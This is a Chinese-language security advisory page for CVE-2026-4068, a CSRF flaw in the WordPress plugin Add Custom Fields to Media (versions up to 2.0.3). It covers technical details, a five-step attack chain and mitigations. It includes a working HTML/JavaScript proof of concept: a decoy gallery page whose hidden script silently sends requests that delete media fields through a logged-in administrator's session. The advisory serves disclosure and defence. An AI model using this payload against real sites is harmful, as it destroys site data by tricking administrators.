IPBUF安全漏洞报告
English
CVE-2026-4068 CVSS 4.3 中危

CVE-2026-4068 WordPress Add Custom Fields to Media插件CSRF漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-4068
漏洞类型
CSRF跨站请求伪造
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Add Custom Fields to Media WordPress插件

相关标签

CSRFWordPress插件Add Custom Fields to Media跨站请求伪造nonce验证缺失媒体字段CVE-2026-4068中危漏洞

漏洞概述

CVE-2026-4068是WordPress插件Add Custom Fields to Media中的一个跨站请求伪造(CSRF)漏洞。该插件用于在WordPress媒体库中添加自定义字段。漏洞存在于插件的字段删除功能中,由于缺少必要的nonce验证,攻击者可以构造恶意请求诱导已登录的管理员执行非预期的删除操作。攻击者可以通过社会工程学手段,如诱骗管理员点击恶意链接,来删除任意自定义媒体字段。此漏洞虽然不影响系统的机密性和完整性,但可能导致业务数据丢失或媒体管理混乱。由于插件对添加字段功能(lines 24-36)正确实现了nonce验证,但删除字段功能(lines 38-49)完全缺少此安全检查,形成了明显的安全设计缺陷。

技术细节

漏洞根源在于admin/partials/add-custom-fields-to-media-admin-display.php文件的第38-49行代码中,删除字段功能直接处理$_GET['delete']参数并调用update_option()函数,但未进行任何nonce验证。对比添加字段功能(第24-36行)正确实现了wp_verify_nonce()检查,删除功能完全缺少这一关键安全步骤。攻击者可以利用此漏洞构造形如?page=add-custom-fields-to-media&delete=field_name的URL,通过钓鱼邮件或恶意网站诱导已登录的管理员访问。由于浏览器会自动携带目标站点的Cookie,服务器会认为这是合法的管理员操作,从而执行字段删除。攻击者可以通过多次请求删除所有自定义媒体字段配置,导致站点功能异常。漏洞利用无需任何认证,但必须诱导管理员点击恶意链接,属于典型的CSRF攻击场景。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的WordPress版本和Add Custom Fields to Media插件版本(<=2.0.3),并通过代码审计或插件文档了解字段命名规则和删除功能的URL结构
STEP 2
2. 构造恶意页面
攻击者创建包含恶意代码的网页或钓鱼邮件,页面中嵌入针对删除字段功能的CSRF payload,使用img标签的src属性或fetch API自动发送携带目标站点Cookie的GET请求
STEP 3
3. 社会工程学攻击
攻击者通过钓鱼邮件、社交媒体消息或其他渠道诱导已登录WordPress后台的管理员访问恶意页面,或诱骗管理员点击包含恶意URL的链接
STEP 4
4. 自动执行删除
当管理员访问恶意页面时,浏览器自动向目标站点发送带有有效管理员Session的GET请求,服务器因缺少nonce验证而执行delete参数指定的字段删除操作
STEP 5
5. 字段数据丢失
update_option()函数被调用,从数据库中删除指定的自定义媒体字段配置,导致所有使用该字段的媒体项丢失元数据,可能影响网站功能正常运行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2026-4068 - Delete arbitrary media custom fields --> <!--诱骗已登录的管理员访问此页面,自动删除指定字段--> <!DOCTYPE html> <html> <head> <title>Image Gallery</title> </head> <body> <h1>Check out these images!</h1> <img src="https://target-site.com/wp-content/uploads/2024/01/photo.jpg" alt="Photo"> <!-- 隐藏的CSRF攻击代码 --> <script> // 构造删除媒体字段的恶意请求 // 攻击者需要知道字段名称,可以枚举或通过其他方式获取 const maliciousFields = [ 'custom_author_field', 'custom_copyright_field', 'custom_alt_text', 'custom_description_field' ]; // 自动发送删除请求 maliciousFields.forEach(fieldName => { // 构造删除字段的GET请求 const deleteUrl = 'http://target-site.com/wp-admin/admin.php?page=add-custom-fields-to-media&delete=' + encodeURIComponent(fieldName); // 使用img标签的src属性自动发起GET请求 const img = document.createElement('img'); img.src = deleteUrl; img.style.display = 'none'; document.body.appendChild(img); }); // 使用fetch API发送请求(更可靠) maliciousFields.forEach(fieldName => { fetch('http://target-site.com/wp-admin/admin.php?page=add-custom-fields-to-media&delete=' + encodeURIComponent(fieldName), { method: 'GET', credentials: 'include' // 携带目标站点的Cookie }); }); </script> <p>Click <a href="http://target-site.com/wp-admin/admin.php?page=add-custom-fields-to-media&delete=any_field">here</a> for more images.</p> </body> </html>

影响范围

Add Custom Fields to Media WordPress插件 <= 2.0.3

防御指南

临时缓解措施
在官方补丁发布前,可以采取以下临时措施:1)临时禁用或删除Add Custom Fields to Media插件;2)对管理员进行安全培训,提高对钓鱼攻击的警惕性;3)使用Web应用防火墙(WAF)规则阻止异常的字段删除请求;4)定期备份数据库以便在遭受攻击后恢复;5)考虑使用其他具有更好安全设计的媒体字段管理插件替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表